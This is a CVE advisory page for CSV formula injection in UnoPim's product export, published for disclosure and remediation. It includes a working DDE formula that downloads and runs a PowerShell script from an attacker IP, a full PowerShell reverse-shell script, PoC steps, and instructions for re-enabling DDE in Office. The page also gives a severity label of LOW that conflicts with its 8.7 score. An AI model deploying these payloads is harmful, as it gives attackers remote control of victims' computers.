CVE-2025-55745 — Vulnerability in unopim/unopim — CVE Details
LOW
UnoPim has CSV Injection on Quick Export feature
Published August 22, 2025Updated August 22, 2025Source: osv
Summary
### Summary
Description:
`CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.
### Details
A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe using
command:
`=cmd|' /C calc'!A0`
The same method can be used to run arbitrary code on the victim's machine.
For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine.
*Payload*:
> This is our payload and will be used in the vulnerable field during exploitation
```
=cmd|' /C powershell Invoke-WebRequest
"http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1
```
*shell.ps1*:
```
$client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
### PoC:
1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.
> This could be injected by admin or any user that has privilege to edit products.
> Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.
Please note that if this is replicated on version starting from Office 2021:
Follow these steps:
Go to `File > Options > Trust Center > Trust Center Settings > External Content -> Enable Dynamic Data Exchange Server Launch"`.
This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.
Platform Details:
Replicated this on Office 2021 on Windows 11.
POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3
### Impact
When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.
### Recommendation:
- Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
- Sanitize the vulnerable field using regex or standard libraries.
- Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.
Advisory Timeline
- First published August 22, 2025 (416 days ago).
- Last revised August 22, 2025 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
Composer
Update unopim/unopim to 0.3.1 or latercomposer require "unopim/unopim:^0.3.1"
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: packagist (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| unopim/unopim | packagist | v0.1.0, v0.1.1, v0.1.2, v0.1.3 (+6 more) | 0.3.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-1236
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P
References
- https://github.com/unopim/unopim/security/advisories/GHSA-74rg-6f92-g6wxWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-55745ADVISORY
- https://github.com/unopim/unopim/commit/8325b78567411ad78d44c0385f192360e608ff71WEB
- https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34WEB
- https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3WEB
- https://github.com/unopim/unopimPACKAGE
Frequently Asked Questions
- What is CVE-2025-55745?
- UnoPim has CSV Injection on Quick Export feature This vulnerability has been assigned a severity rating of LOW (CVSS score: 8.7/10).
- How do I check if my project is affected by CVE-2025-55745?
- CVE-2025-55745 affects unopim/unopim. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-55745 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
8.7
High exploitability or significant impact. Prioritize remediation within days.
Also Known As
GHSA-74rg-6f92-g6wx
Related CVEs
- CVE-2025-45769LOW
php-jwt contains weak encryption
- CVE-2024-55636LOW
Drupal core contains a potential PHP Object Injection vulnerability
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies